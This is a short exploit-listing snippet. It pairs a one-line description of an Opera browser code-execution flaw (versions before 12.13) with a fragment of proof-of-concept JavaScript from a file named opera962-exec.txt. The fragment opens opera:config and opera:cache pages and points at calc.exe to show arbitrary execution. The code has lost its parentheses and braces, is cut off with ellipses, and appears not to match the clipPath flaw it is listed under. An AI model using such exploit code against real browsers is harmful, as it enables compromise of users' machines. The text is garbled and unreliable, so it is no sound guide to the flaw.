Code injection

Opera before 12.13 allows remote attackers to execute arbitrary code via crafted clipPaths in an SVG document...

opera962-exec.txt

function execcalc var abc="c:\\windows\\system32\\calc.exe"; window.open'opera:config?q=q=%2A"&p=1&s=1'; window.setTimeout"location.href='mailto:'",4000; Click me...opera:config function execcalca var abc="c:\\windows\\system32\\calc.exe"; window.open'opera:cache?q=%2A"&p=1&s=1';...